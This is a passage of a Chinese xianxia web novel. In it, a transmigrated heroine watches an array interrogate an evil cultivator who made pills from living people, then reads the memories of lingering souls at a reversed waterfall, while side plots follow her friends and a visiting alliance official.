你杀了其中一个?” 虽然关云铮有点恐人, 但仅限于人很多很嘈杂的那种“恐”,这种严肃的场合她其实并不十分害怕。只不过她一没在修仙世界经历过这么严肃的场合,二没见识过审讯, 感觉不论是谁在这种场合被提问, 都会有点下意识的紧张吧。 哪怕她没罪。 她不动声色地捏着自己一片衣料玩,回答道:“嗯,当时怕他还能喘气又补了一剑。” 好吧她紧张得都有点松弛过头了 !!! 一紧张就容易嘴在前面飞脑子在后面追啊啊啊啊啊啊…… 虽然补刀很重要但这都不是问题的正经回答了!! 不过离奇的是在场没有一个人表露出她此话不妥的神色,那问话的长老也没再追问这个话题,而是问道:“你出手时发生了何事?” 关云铮顿了一下, 有点不知道怎么开口。 还没等她想好该怎么不失准确又不那么冷血地陈述这件事,楚恽已经先开口了:“左长老,这些可以从弟子赶到时现场的情状中推断出来,也已经在信中陈述过。” 被他称作左长老的人没生气,好像询问只是走个过场,又问道:“那你们可知这些鬼灯楼弟子绑走那些姑娘,是要做什么?” 关云铮摇头,如实相告:“我起先猜测是与他们的引魂术有关,但当时并未看到香炉,想必是别的恶行。” 当时殷含绮怎么说的来着? 他们的邪术会用到气、血和精魂? 不是引魂术,那难道是打算杀人放血?也没看到器皿啊? 哦对,还有乾坤袋。不知道后来负责善后的天问有没有搜过那些尸体的身,或许能从中发现端倪。 关云铮在这边想了一会儿,那边左长老已经不再问问题了,而是对坐在主位的人说:“师兄,可以问了。” 他话音刚落,只见那邪修跪着的地方忽然亮起来,随即一个看不懂的小型阵法在他膝盖之下飞速运转起来。 合着真的只是走个过场啊? 都决定要用“问”了还问她这么多干嘛?减轻代价?还是确定事情的必要性? 关云铮正腹诽,对面的几位长老居然起身从座位上离开了。 不是?这就走了?不再唠会儿? 虽然是她单方面唠。 左长老落在后面,还特地绕过那个跪在地上的邪修,走到关云铮这边来:“其实今日之事算不得大事,但是听闻你是小悯的朋友,怕你不看见事情了结不放心,所以把你叫来了,不用怕。” 说完左长老就摆摆手走了。 好的,对天问的刻板印象得到了一定程度的瓦解。 关云铮转头看向坐在一边的楚恽:“他们不留下看结果吗?” 楚恽示意她看向那邪修。 阵法飞速运行着,上面的符文几乎转成了延时摄影下的星空,变成了闪着光的离奇线条。 而那邪修身上,一行行陈述了罪状的“字”,正从他身体的每一处浮现出来,呈现在空中。 **** 那位姓秦的长老终于被气走了,边走边振振有词,说的无非是自己会找掌门讨个公道,惩戒不懂事的小辈之类。 楚悯旁观一切,发觉自己先前把叶浔和她兄长放在一起比较的行为其实并不准确,甚至可以说是相当有失偏颇。 因为兄长遵循的规矩长辈们也在遵循,天问中虽然有几个长老不太在意这些,认为传下来的某些规矩太僵化了,但为了表示对天问先辈们的敬意,该做的还是会做。 从小看到的、接触的都是这样以身作则的人,兄长会逐渐长成现今的模样合情合理。 但灵兽派这位秦长老喜欢用规矩压小辈,自己的言行举止却看不出守规矩的迹象。 在他眼中,境界与成就都不容小觑的叶浔,显然要比弟弟叶泯有分量得多,他能在叶泯面前颐指气使,却会在叶浔面前收敛一部分气焰。 这算什么?严于律人,宽以待己?倚老卖老,狗眼看人低? 如此看来,叶浔会表现得这般守矩,显然是为了不让有心之人抓到他的错处。然而他却没有用相同的规矩约束作为他胞弟的叶泯,哪怕二人的荣辱本属一体。 同为遵守规矩,兄长是习惯所致,叶浔却多少有些迫不得已。 不知道接下来叶泯在灵兽派的生活会不会受影响。 楚悯摇了摇头,手指在琴弦上轻轻拨了拨。 月下逢发出一串响动,她指尖也盈了一团柔光。 叶泯眼睛都亮了:“这是正式认主了!” 楚悯有些惊讶,斟酌片刻还是问道:“新生乐器认了其他门派弟子为主,会不会有失妥当?” 叶泯皱眉:“楚姑娘你不会把秦长老那套说辞听进去了吧?你听他放屁!嗷!” 楚悯还没来得及反应,叶浔已经敲了一下叶泯的脑袋:“好好说话,在姑娘家面前别这么粗俗。” 叶泯不大高兴地“哼”了声,揉了两下脑袋后说:“其实是这两年认主的新生乐器非常少,但这几年山中的灵兽又越来越亲近音修一脉,再加上……” 他像是想到什么好笑的事,没忍住笑出声来:“秦长老是传统的剑修,但剑术不怎么样,音修相关更是一窍不通,所以这两年一提到新生乐器的归属他就容易像方才那样。” 叶浔抬手叫来一壶茶,给两人各倒了一盏:“此地茶叶不比归墟,没那么精细,楚姑娘见谅。” 楚悯不甚在意地捧起茶盏,对他笑了笑:“粗陋精细,各有滋味。” 叶泯“咦”了一声:“楚姑娘不是天问的吗?” 叶浔没抬头,抬手又精准地敲了一下他的脑袋:“今年这个年纪的弟子都在归墟接受教习,忘了?还给爹了?” 叶泯带着几分心虚地为自己辩解道:“那不是,楚姑娘看着更小一些吗?” 楚悯神色没什么变化,受“问天”代价的影响,她的外在会长大、衰老,但比上同龄人会十分缓慢,可能两年过去都看不出什么大的变化。 各地仙门收纳弟子一般都在十四到十六岁之间,她出生就在天问,十岁便问天,是以外表的年纪看着甚至不到十四岁。 还好,至少不是停在了十岁那年。 不然短胳膊短腿的,连琴都抱不动。 叶浔懒得骂他,又解释道:“楚姑娘想必看见入山门时我收到了信,实不相瞒,那是叶长老——也就是家父传来的。他告知我,他收到了归墟传来的信。” 归墟传来的信? 叶浔继续说道:“家父在信中提及两件事,其一是归墟传信告知,这几日归墟派出门中接受教习的弟子下山,各自选择想去之地,有一弟子传送到了鹧鸪山,若是他已经遇到,麻烦看护一二。家父联系我先前的信,得出你是在归墟学习的天问弟子。 其二便是秦长老一事,往门中带人需得禀报掌门,彼时他恰好在场,获悉此事,存了些旁的心思,才会到你面前来,惹得人不快。” 叶泯喝了口茶,语气很不屑:“他一直想问问他的道心正确与否,这种东西跟天道联系那么紧密,也是能随便问的?指不定要付出什么代价,真是厚颜无耻。” 楚悯迟疑道:“道心正确与否?” 叶浔点头:“因为秦长老在剑修一道上,始终没有什么成就。” 楚悯有点想笑,忍住了:“这算病急乱投医吗?” 质疑剑修不适合自己,不去钻研什么适合,反而去质疑道心是否有误?那不是把自己修道的这些年岁都否认了吗?毕竟没有这个“有误”的道心,他甚至走不到今天,早就因为道心崩毁走火入魔了。 如此坚定地坚持了这么多年的东西,就因为没有凭此得到他认可的功绩,就要完全否认吗? 楚悯完全没法认同这种想法。 不是说她习惯了接受道心,不去质疑道心,而是在选择了某个东西,并凭借这个东西坚守很多年后却去否认这样东西,本身就是很不合理的行为。 这就像是穿了很长时间的鞋,有一天把自己跑不快、体术学不好全赖到鞋身上,那岂不是很可笑吗? 本质并非否认道心,而是否认选择了这样道心的自我啊。 楚悯垂眼喝了口茶。 叶浔依旧态度很好:“原本新生乐器的完全认主需要一段时间,每个得到新生乐器的人都会在灵兽派接受一段时间的教学,但楚姑娘的琴既然已经认主,你想要立刻离开也可以。” 楚悯愣了一下:“拿了东西就走,是不是太不礼貌了?” 叶浔失笑:“秦长老都以灵兽派的名义对你提出那么不礼貌的要求了,你怎么还替我们考虑起来了?” 楚悯也笑了:“自然不能混为一谈。” 叶浔收起笑意:“家父原本接了归墟的信,是打算让楚姑娘多留一日,盛情款待一番的。但接下来灵兽派怕是……” 叶泯喝完了茶,顺畅地接上话茬:“会有家丑,鸡犬不宁那种。” 叶浔直接上手拧了一下他的脸:“会不会好好说话?” 叶泯痛死了,闪着眼泪花含混不清地说:“实话嘛……” 叶浔瞪了他一眼,又非常抱歉地对楚悯说:“实在不便让楚姑娘留在这看到这些,若是楚姑娘不介意,我这就带你下山。” 楚悯从乾坤袋里摸出步雁山给他们的传送符:“灵兽派内可以传送吗?要是可以,就不劳动你跑一趟了。” 叶浔一愣,随即笑起来:“自然,我进来时也给水榭设了不受窥探的法阵,楚姑娘可自由使用术法。” 楚悯点点头,又把乾坤袋里的一块通信灵牌递给叶泯:“多谢你为我出头,在这块灵牌上灌注灵气便可直接联络到我,未来若是有帮得上忙的,尽管开口。” 她把月下逢放进乾坤袋:“多谢二位救命之恩,来日再见。” 说完她掌心燃起一团灵火,把传送符烧了个干净。 楚悯刚一落地就被扑上前的闻越吓了一跳:“小悯回来了?没事吧?顺利吗?” 江却、连映、章存舒和步雁山全都在,楚悯有点没反应过来,往身后看了看:“云崽还没回来,你们等在这……” 闻越绕着她看了一圈,确认她没什么外伤:“你还没传送过来,你那块传送阵就亮了,我们当然是在等你啊!” 楚悯愣了一下:“我……” 闻越回头看连映:“师姐你快看看她有没有受什么内伤。” 连映应了声,走上前:“走吧,小悯。” 楚悯懵懵懂懂地跟着走了。 闻越忽然想起什么,又看向江却:“饭菜还有吗?还有师姐的点心,小悯这会儿回来没吃饭吧?” 江却点点头:“还有,正好留了。” 闻越终于放心下来,看向站在一边一直没说话的步雁山和章存舒:“师父,掌门,你们说云崽什么时候回来?” 章存舒正微微皱着眉:“希望她今日内先不要回来。” 闻越闻言也皱起眉:“为何?” 章存舒看向山门的方向:“因为某个不速之客快到了。” **** 直到那邪修身上不再浮现出新的字迹,关云铮才看向楚恽问道:“我能靠近看看吗?” 那人会不会暴起什么的? 楚恽像是看出了她的忧虑,答道:“这种阵法能够用于审问,是因为它在强行抽取记忆,虽然对他没有太大的伤害,但他此刻更接近于被梦魇困住的状态,不会攻击你。” 关云铮点点头,从座位上站起身往那邪修靠近了一点。 所有的罪行被“提取”完毕后,自动组合起来,在那邪修的头顶排列成几行字。 当然,是竖行。 关云铮一看竖行字就容易看串,不动声色地看了两遍才完整看完,脸色霎时就凝重了起来。 “用……活人炼丹?”—— 作者有话说:抱歉来迟了……这两天有点事情要忙,下周可能也会受这个事影响,我争取至少隔日更,顺畅的话还是日更(跪) 第43章 对一件事的认知途径, 是很影响这份认知的真实性的。 就比如关云铮在学习绦虫的生活史的时候,就没想过现实生活中的绦虫能这么恶心。 她再有想象力,文字也始终是文字, 标本制作成的切片也始终只是它漫长生活史中某个阶段的缩影。 绝对没有现实生活中那些因为生食肉类产生的画面来得震撼人心。 哪怕她的某位室友非常热衷于在吃饭的时候聊一些不太下饭的专业课, 她也始终认为,认知不与现实结合的话, 一定会缺乏一部分真实性。 就像现在。 她没少看过修仙文——虽然后来市面上的修仙基本都是借个由头谈恋爱, 遭殃的都是无情道什么的——因此她对活人炼丹也算有所耳闻。 毕竟各行各业总有人想走捷径,一步登天直接走到邪魔外道去的人也海了去了,用活人炼丹就像用杀戮咒,一旦用了就不太能回头了。 但就像她从没想过自己会穿越到修仙世界,她也从没想过真的见识到这些修仙文里的恶行,会是什么样的感觉。 那些被阵法“问”出来的字几乎带着温度, 活人炼丹四个字简直灼人眼睛。 左长老方才说这是小事?是因为他不知道此人做过什么,还是他知道但是不在意?又或者, 是这样的事实在太多了,修仙界甚至习以为常了? “活人炼丹, 是怎么炼的?”她听见自己近乎用喃喃自语的音量说道。 楚恽不知何时已经走到了她身侧:“先前也有其他江湖散修或是邪修用过这个法子炼丹, 一般会先放血,用血液炼制的丹药要求更严格,必须要人活着, 所以在放血的整个过程中, 被抓来炼丹的,”他停顿了一下,“据说他们管这些人叫‘药人’,一直主动或被动地保持着意志的清醒。” “然后呢。”关云铮看着那几行浮在空中的字。 “等到用血液炼制的丹药完成,他们会取人身上的某些部位炼制其他的丹药, 修他们这种邪术的人一般都相信以形补形,所以会挖去人的双目炼制明目的药,剖出心脏来炼制针对心血亏损的药。 一般到这个时候,这些残缺不全的药人对于邪修来说就没用了,他们会选择一个地方抛尸,同时服用或交易炼制好的丹药,借用这段时间来转移地点躲避风头,等到风声过去,再度作案。” 楚恽终于说完了,关云铮感觉自己像是被高压水龙头持续性冲了一头一脸,简直像是在空气中溺水,好半晌都喘不上气来。 楚恽关切道:“还好吗?”可能是门中人都对这件事有着麻木一般的习以为常,他还没见过像关云铮这样这么大反应的,一时有点后悔,“我是不是不该同你说这些?” 关云铮摇了摇头:“楚师兄不告诉我,我还以为自己生活在太平盛世呢,龟缩在师门里受人庇护,就以为全天下都幸福美满平安喜乐。” 活人炼丹四个字就像一记毫不留情的耳光,一下就把归墟营造起来的美好全打碎了。 关云铮一直觉得自己最大的优点就是特别能共情,所以21世纪那会儿她总是非常愤怒,因为网络上一天到晚没有什么好消息。 她那时候看过一个博主说,要保持敏感,减少愤怒,一直觉得说得很对,但做到很难。 有那么一段时间她觉得不长大也挺好的,科技不发达也挺好的,至少这样网络就不会把坏消息传播得那么快,她就看不懂那些会让她痛一辈子的新闻。 但那些想法只是一瞬间。 飞速发展的科技和逐渐增长的知识是一种润物细无声的诅咒,享受着这两者便利的同时,清醒的痛苦也会如影随形。 她总是愤怒,甚至义愤填膺。 她就是没法释怀。 楚恽叹了口气:“小悯对这件事的反应跟你很像。” 这大半天下来,除了吃饭时楚恽提过一句楚悯,方才左长老提过一句之外,她没听过楚悯的名字出现在对话里,因此这一声突然的“小悯”像是什么回魂的术法,她骤然从21世纪的回忆里抽离出来,不动声色地深吸了一口气。 楚恽示意关云铮跟他往外走:“不过她表达的方式和你不太一样。她刚知道有这么一类人的时候,跑去溯洄那里待了一整天。” 楚恽像是特意提起溯洄来分散她的注意力一般,看她回过神来说道:“我们去看看溯洄?” **** 青镜山脚下。 严骛快要被马车颠散架了,也不知道皇帝怎么突然管起他们仙盟的事,听他汇报要来归墟,非得派柳卿知一起,说是促进朝廷和各地仙门共同进步。 以前倒不见得皇帝如此积极,谁能想到当时只是走个过场,知会她一声,她却忽然想插手呢? 早知道就不走这个过场了。 柳卿知策马走在马车旁边,见他迟迟不下车,靠近敲了敲窗沿:“严仙长?” 还有这个姓柳的。她真是普通人吗?从朝安城到镜溪居然骑了一路的马,有这体力和耐力去修仙多好?她要是会御剑,自己也不用迁就坐马车了,这一路颠簸得他又是吐又是晕的,久不锻炼的身体遭受不住这番折腾,要不是有早年修炼时的境界撑着,差点在半道就一命呜呼了。 严骛想到这简直没好气,虚弱地回应道:“这就来。” 还没等他掀开帘子,外头一阵轻响,大概是柳卿知下马了。 他当她是变相催促,脸上露出不耐烦的神色,拿了配剑正准备下车时,却忽然听见柳卿知对着某人说道:“未提前告知便来此,多有叨扰。” 归墟的人已经来了? 严骛强打精神撩开帘子,正对上步雁山看过来的视线。 居然不是章存舒? 步雁山朝他点了点头:“严前辈。” 严骛被这一声叫得很舒心。虽然年纪上他没比步雁山长多少,但他好歹在仙盟混了这么些年,步雁山一个后起之秀,做掌门的年岁也不久,喊他一声前辈也是应该的。 “步掌门。”他端起假笑问候。 “柳大人用过午膳了吗?”步雁山转向柳卿知。 柳卿知策马奔波一路,衣衫都不见乱,脸上的神情更是无懈可击,十分之得体大方:“尚未,麻烦步掌门。” 严骛的假笑稍微有点没挂住。 虽然他早已辟谷,但步雁山略过他的需求直接询问柳卿知,是不是也太不把他放在眼里了? 好在步雁山并没有把他晾在原地太久,招呼过柳卿知后又看向他:“严前辈可要立刻开始观摩?” 严骛运了一口气,默念了几遍清心诀强打精神:“就现在吧。” 步雁山笑容很温和:“好,那请前辈随我来。” 严骛抬腿跟上。 片刻之后,他看着眼前漫长的石阶陷入沉思。 青镜山以前就有这么多石阶吗?这得走到何时? 像是察觉到他在想什么,步雁山转过身看向他:“前辈?” 严骛朝他笑了笑:“归墟弟子除了日常修炼,还需这般苦修吗?” 步雁山对他回了个笑容:“仙门境内大多不允许御剑飞行,前辈见谅。” 归墟掌门听懂了他的暗示并给出致命一击。 严骛简直想吐血。 柳卿知老神在在地走在步雁山旁边,神态动作看着比严骛这个修仙的还像修仙的。 严骛不禁为自己过去这几年的惫懒感到懊悔,但仙盟事务繁多,平日案牍劳形之余,已无精力进行修炼,体能退步也是情理之中。 他在心里这样为自己辩解着。 走着走着,他觉得似乎有哪里不太对,但疲累的双腿占据了他所有的心神,他一时之间心思没能转过来,到底是哪里不对。 直到他看见了步雁山安排带他观摩的人。 严骛不可控制地抽了抽嘴角。 这不是归墟唯一一个无情道弟子吗?她来带路?到时候不会他一个人说了半天,她就“嗯”一声吧?那他干脆别观摩了。 任嵩华在她那届仙门大比中脱颖而出的时候,严骛刚坐上仙盟的位置,对她最后那场比试印象深刻。 她原来是步雁山的徒弟?可他分明记得当初她的名牌上并未记录师从何人。 步雁山像是没看出他神色有异,笑着说:“嵩华,劳你带严前辈观摩一番。” 任嵩华点头应下,走到严骛面前,利落地把剑背到身后:“前辈请随我来。” 然后这六个字就成为了任嵩华这一天下来对他说的唯一一句话。 **** 关云铮听见了水声,或者准确点说,是瀑布的动静。 她看向一边的楚恽:“是溯洄吗?” 楚恽对着她点点头。 她还以为溯洄会像不熄鼎一样,坐落于某个山头,抵达需要费些工夫,结果只是从议事堂出来,走了这么一会儿,镇山灵器就近在眼前了。 从抵达方式上来说,多少有些“平易近人”了。 她脸上的惊讶不做遮掩,楚恽自然看了分明,他倒是没解释,只是继续带着她往前走。 奇怪,怎么走近了还是跟刚才一样响,不该更响一些吗? 关云铮一边疑惑着,一边朝前看。 眼前像是溯洄的水流迸溅形成的水雾,又像是守护着镇山灵器的薄纱,在她靠近时忽然散开来。 关云铮眨眨眼,终于展开庐山真面目的溯洄展现在她眼前,她观察片刻,忽然愣住。 ——溯洄确乎是瀑布,但竟然是倒流的! 那水质似乎也不像普通的山泉一样清澈,流动在其间的—— 关云铮转头看向楚恽:“那些是,无处可去的魂魄?” 与她两种想象都不相同,既不是游鱼,也不是光点,而是看不分明的影子,像一团团的云雾。 有的影子颜色浅,游动的速度快,在瀑布飞溅之处轻易就会被遮掩痕迹;有的影子颜色深,但似乎游不动,始终停在瀑布的下方——也就是溯洄的起点。 “颜色的轻重是因为什么?”魂魄的重量?还是这缕魂魄原本的主人,死前的遗愿? 执念越重,颜色越深? “是在溯洄里停留的岁月。”楚恽的话再度否认了她所有的猜测。 “起先它们只是不愿投入轮回,错过了合适的时间之后只能来到溯洄,后来待的时间越久,它们就会越‘浑浊’,越无法溯洄。” 就像……洄游时逆流而上的鱼群吗? 试的次数越多,越是筋疲力尽,越是无法成功洄游,最后死在河流中。 “没有办法让它们投入轮回吗?”关云铮问了个在此时显得十分徒劳的问题。 楚恽没介意她这样“外行”的提问,解释道:“生死是有时序的,在不该生的时候生,不该死的时候死,甚至不该弥留之际弥留,都会造成无法颠覆的结果。 早生者必不得善终,猝然逝世者必有更好的一世轮回,弥留之人……定然找不到来途与去路。” 这套规律只在修仙世界生效吗?还是在不同于此世的21世纪也能通行?如果是的话,她至少能宽慰自己,这辈子过得很苦的人下辈子会有好的生活。 但是谁会记得魂灵的印记?谁能知道这辈子颠沛流离的人下辈子会不会有一个安稳的家? 楚恽看她对着溯洄出神,轻声问道:“云铮在想什么?” 关云铮回过神来:“如何得知,弥留在此的魂魄都是无处可去的呢?”她意识到自己问了个很像“废话”的问题,解释道,“我的意思是,对溯洄的了解应当有一个过程?你们是如何确定,在其中的魂魄都是无处可去的呢?” 楚恽了然:“因为此处魂魄的记忆可以被‘问’出。” 果然。 这里可是天问啊。 关云铮没忍住问道:“我能看看吗?那些记忆。” “当然。”楚恽干脆地答道,又说,“不过弥留太久的魂魄,颜色深的那些,大概已经问不出什么了。其他的魂魄也只有他们生前最深刻的记忆。” 关云铮并不介意:“我就是想看看,他们为什么会留下来。” **** 楚悯说完了自己这半日的经历,刚觉出几分口渴,连映已经把一杯茶端到她眼前。 “多谢师姐。”楚悯弯弯眼睛,捧起茶盏喝了一口。 闻越心有余悸似的也灌了一口茶:“鹧鸪山也太凶险了,他们总不会每日都出去捕猎灵兽吧?” 章存舒在吃连映给他留的点心,一口下去兔子直接少了俩耳朵:“不会,况且他们捕猎的多数都并非灵兽,山中灵气拢共就那么些,哪里够所有的兽类都开灵智?” “那岂不是更名正言顺了?没有灵智的猛兽伤人,也不必顾忌对它们动杀招了。”闻越皱了皱眉。 楚悯没说话。 江却把一小碟点心推到楚悯面前,接上话茬:“不可妄议。” 闻越撇撇嘴,正打算说什么,发现章存舒手里的兔子已经没头了,故作震惊道:“师父!你怎么把兔头先吃了!” 章存舒神色平静地看他一眼:“不然先吃腿?又不是真兔子。” 楚悯被逗笑,差点被茶水呛了一下。 连映轻轻拍了拍她的后背。 “不知道云崽什么时候回来。”楚悯有些担心。 章存舒又拣了块点心:“她在天问。” 楚悯愣了一下:“天问?”—— 作者有话说:今天是日更菇!评论摩多摩多[撒花] 第44章 翻阅溯洄中的记忆需要一点时间, 楚恽开始还陪同着,半途过来个天问弟子传话,说掌门找他有事。 楚恽不得已只好离开, 走前还挺不放心似的, 很想嘱咐关云铮几句的样子。 溯洄边有个石制棋枰,边长得有半米多, 旁边围了四个形状相似的石凳。 关云铮正坐在其中一个石凳上“翻阅”记忆, 感觉到视线转过头,正对上楚恽的眼神。 她还当楚恽接到传话就走了,此刻不由困惑:“楚师兄?” 楚恽看了她半晌,像是想说点什么,良久过去,却只在溯洄的水流冲击声里问她:“山风凉, 乾坤袋里有多的衣服吗?” 关云铮本来想回答自己身上穿着归墟的衣服,里头缝了符咒, 不冷,但想了想还是配合着低头, 拿出乾坤袋摸了摸, 从里头找出一件披风来。 虽然她也不知道这件披风哪来的,毕竟她所知的那件披风已经被她送给那个不知姓名的姑娘了。 楚恽这才放心下来,点点头走了。 关云铮把披风团巴团巴放在腿上, 本打算继续翻阅记忆, 又觉得这样对待披风不太好,没准过会儿都皱了,索性又抖开,想了想直接披上,把两条绳子随便一系。 大概又是在她不知道的时候塞进来的吧, 就像那朵干花。 关云铮把视线放回棋枰。 溯洄之下,或者应该说源头,是跟其他瀑布别无二致的一汪水潭,因为并不承受瀑布自上而下的冲击,所以毫无波澜,显得格外幽深。 方才她还疑惑,这样要怎么“翻阅”记忆,总不能掬一捧溯洄的水来看吧?再说了溯洄里流的真的是水吗?不熄鼎底下燃的也不是火啊。 结果就见楚恽移动了一下棋枰上的一枚棋子。 很难形容在那之后她看见的画面。 那石制的棋枰是深黑色的,人为凿刻出棋枰上的痕迹,作为棋盘的界线。楚恽移动了那枚棋子后,所有的痕迹从那枚棋子周围辐射着亮起来,像是有水流注入了这些凹槽。 待到所有的刻痕都亮了起来,一团云雾似的东西从那枚棋子上缓缓升起,关云铮伸出手,那云雾像被她吸收了一样,瞬间就消失在了她之间。 ——然后她眼前就出现了一缕魂魄的记忆。 就挺神奇的。 虽然她第一时间又想探究原理,但彼时楚恽就在旁边,为她解释道:“这棋枰之上流动的就是溯洄,你要是不想看了,就把这颗棋子移到正中。” 关云铮点点头,就这样在棋枰边一直坐到楚恽离开。 楚恽刚走,她就松了一口气似的骤然塌下肩膀,还没等她心里嘀咕几句,就听见心魔引在她识海里开口了。 关云铮默默把刚拔出一截的摇羽又戳回剑鞘里了。她可不想像昨晚一样又充当骂战之中的搬运工,甚至还不收中间商差价,血亏。 “镇山灵器周围灵气充溢,所以封印会松动,你才能开口。”关云铮面无表情地下了个结论。 心魔引的话音凝滞了片刻:“那又如何?” 关云铮继续看魂魄记忆:“我起先还觉得,心魔引听着这么厉害的东西,邪修好端端地怎么舍得给我。原来是你太弱了,他急着脱手。” 心魔引不知道破防了没,总之暂时没声了。 关云铮懒得搭理它,寻思回归墟后得加紧修炼,跟章存舒学习该怎么屏蔽这东西说话的声音,不然也太烦了。 溯洄在棋枰之上缓慢地流动着,漆黑的石面看不见魂魄的颜色,称量不出重量。 但记忆有温度。 关云铮连着看了几段死者生前最为印象深刻的记忆,发现都是一些……跟她想象中颇有出入的小事。 有个死者记忆里只有一棵树,一会儿只剩枯枝,一会儿缀了满枝头的花,一会儿又结了果子。 有个死者死前似乎很饿,记忆里一直在街头寻找着什么,从热气腾腾的包子摊,到闹哄哄的酒楼,最终什么地方也没去,就这样一直走到长街的尽头,走到记忆也消散的地方。 楚恽说这些魂魄到最后只会残留最深刻的记忆,她还以为会看见无数有关死亡的景象,甚至已经做好了准备…… 逐渐涌现出的魂魄记忆这时候也忽然停顿了片刻,关云铮正疑惑,识海里的心魔引又开口了:“你猜下一缕魂魄是谁?” 停顿太久,关云铮本来已经打算不继续看了,闻言移动棋子的动作一顿:“你什么意思?” 一般来说,“你猜是谁”这种问题的潜在含义是,这个答案是对话双方都认识的人,并且提问的人认为,被问的人听到这个问题的答案时一定会感到非常惊讶。 关云铮松开指间的棋子,意识到现在可能需要做更充足的心理准备了。 ——因为心魔引和她都认识的,能让心魔引用这种非常期待她反应的语气提起的,已经“死”了只剩魂魄的人,只有原身。 **** “仙盟的人已经到了吗?”楚悯坐在秋千上,月下逢被她放在腿上。 章存舒坐在石桌边泡茶:“嗯,不知道来的人你认不认识。” 楚悯困惑:“我认识?” 章存舒颔首:“严骛,听过这个名字吗?” 楚悯皱眉想了一会儿,如实摇了摇头。 闻越在章存舒旁边的位置上坐着,闻言笑出声来:“我倒是听过,他要是知道自己并不如他想象的有名气,估计能气得绕归墟跑上好几圈。” 章存舒也笑:“那得之后再跑了,今日他恐怕没有这精力。”他递给楚悯一盏泡好的茶,“他今日光是走那石阶就得走断腿。你又是怎么听说他的?” 闻越把另一盏茶端走:“石阶?青镜山下什么时候有石阶了?”他茫然地看向连映。 连映忍笑:“应该是师父和掌门今日‘铺设’的吧。” 楚悯也忍笑,没忍住。 闻越已经笑出声了:“那他恐怕真要气死了。”他优哉游哉地喝了口茶,“我家以前是朝安的,是我进归墟修道后,大哥才带着我来镜溪城落脚。” 他把茶盏放下:“我大哥跟柳相有些交情,仙盟换人偶尔会向朝廷报备,所以知道严骛这人的名字。”他一边回忆一边说道,“是个剑修,境界大概是金丹中期,不知道在仙盟这几年境界有没有倒退。是个很会钻营,非常懂得投机取巧的人。” 章存舒点点头,没说话,用沉默和肢体语言表示赞同。 闻越对上江却看过来的视线,摊开双手:“柳相原话,我可没添油加醋。” 江却失笑:“我没说你添油加醋。” 闻越给自己又加了点茶:“所以有很长一阵子我都以为他名字里的骛是那个鹜,野鸭子那个鹜,毕竟整日里扑腾来扑腾去的,结果居然不是那个鹜。” 这下所有人都笑了,楚悯问道:“所以是哪个骛?好高骛远的骛?” 闻越点点头,还想喝茶,手里的茶盏被连映拿走了:“还喝?不睡觉了?” 他后知后觉自己已经灌了两杯茶下肚,师父还总是偏好浓茶,这个量再喝下去确实该睡不着了,故而也没反驳,对连映笑了笑又继续说道:“不过他没什么家世,不是靠这样那样的关系走上的这个位置,哪怕是钻营也是一个人铆足了劲钻,也算是有本事吧。” 章存舒“嗯”了声:“这也是柳相原话?” 闻越思考了一会儿:“忘了,也可能是我大哥说的。商人和为官者看待人的角度不太一样,柳相是寒门出身,从底层一步步靠实绩走到今天的,其间固然得到过其他人的赏识提拔,但也是因为她有配得上赏识的能力作为敲门砖,她自然不太看得惯严骛这种人,放进朝廷大概只会结党营私。 我大哥就没柳相那么无私,对严骛没什么看法单纯是因为仙盟人损害不了他这个平民百姓的利益,所以他懒得多说。” 章存舒听着想笑:“你就这么说你大哥?” 闻越不太在乎地说道:“一颗真心总共就那么点,亲人分一点,友人分一点,其余匀出一点,做生意时不要太过黑心,就已经剩不下多少了,会这么想也是人之常情吧?我本可以独身来归墟修炼,是我大哥主动说来青镜山脚下做生意,我才能偶尔下山回个家,享受了这么多好处却反过来指责他不够有良心,不是更没良心吗?” 章存舒深以为然地点点头,没再说什么。 闻越忽然撇了撇嘴:“云崽不在都没人接我的话了。” 楚悯抱着琴笑起来:“我今日也总在想,要是云崽同我一起去了灵兽派,估计就没叶泯开口的机会了。” 江却没见识过关云铮火力全开的样子,闻言困惑道:“云铮在的话会如何?” 楚悯想象了一下,放下琴站起身。 四人从石桌边看过来。 楚悯做了个捋胡子的姿势:“楚修士可愿为我卜算一番?” 她又换了个站位,抬起头:“可以,给钱。” 连映:“噗。” 闻越:“哈哈哈哈哈哈哈哈哈。” 连江却都没忍住。 章存舒差点被茶水呛到,不动声色地又喝了一口茶:“嗯,确实像云崽干得出来的事。” 楚悯笑了一下,又坐回秋千:“也不知道云崽现在在做什么。” **** 关云铮正在看关云筝的记忆。 殷含绮明明跟她说过,被引魂的人最终的结局都是身死魂消,为什么关云筝的魂魄不仅没有消散还来到了溯洄? 难道因为这具身体并没有“死”?还是有什么别的原因? 棋枰上看不清魂魄的颜色,她只能看见记忆中的一片虚无。 到处都是朦胧的,看不见景色也看不清人影,甚至听不见任何声音。 心魔引不知道是怎么“看见”的,语气听上去颇为感兴趣似的:“这记忆……?” 关云铮没说话,她在等待,哪怕没有可能,她也想在记忆里看见原身弥留之际印象最深的画面,就好像这是她对她唯一的了解途径。 一片寂静,好像溯洄倒流的声音也从她的世界消失了。 关云铮失望透顶,正打算把那颗棋子移回棋枰正中,却忽然听见那记忆里传来一个陌生的声音。 “你当真自愿?” 随后是一个与她现在的声线有些接近的声音:“是,我自愿。” **** 严骛觉得不对劲,十分不对劲。 这一路走来,归墟中不说全部,大部分地方他都已经见过了,却没见到一个应该在这接受教习的弟子,遇见的大多都超了年纪,并且不在听课,各有自己的事情要做。 但他不能问任嵩华,因为她是不会回答的。 要不是任嵩华最开始同他说了一句话,他真的怀疑过她是不是哑巴。 邪了门了,归墟这些弟子都上哪儿去了? 步雁山把他随手塞给一个弟子,自己又去哪了? 严骛很想禀报仙盟,随即发觉自己就是仙盟。 任嵩华不知何时已经与他拉开了一段距离,再一抬眼,人已经拐过转角不见了。严骛快走几步,在转角处陷入茫然:该往哪走? 他看了眼右边的连廊,决定走上去看看。 严骛拖着酸软的腿往前走,还没走出几步远,脚边突然窜过什么东西,吓了他一条,腰间配剑都不自觉出鞘几分。 “栖霜。”一个声音随即传来。 那东西窜出一丈远后才在一张石桌边停下,那坐在石凳上的人俯身把它抱起来,抬眼看向他。 严骛在心里自嘲,真是仙盟的安稳日子过久了,一只貂都能把他吓得出剑了。 他把剑收回去,还没开口,对面那人已经隔着连廊先开口了:“你是何人?” 语气十分不友善。 严骛皱起眉头,虽然不知对面是谁,但他多年没听过别人对自己用这种语气说话了:“你又是何人?” 凌风起懒得理他,抱着栖霜起身就打算走。 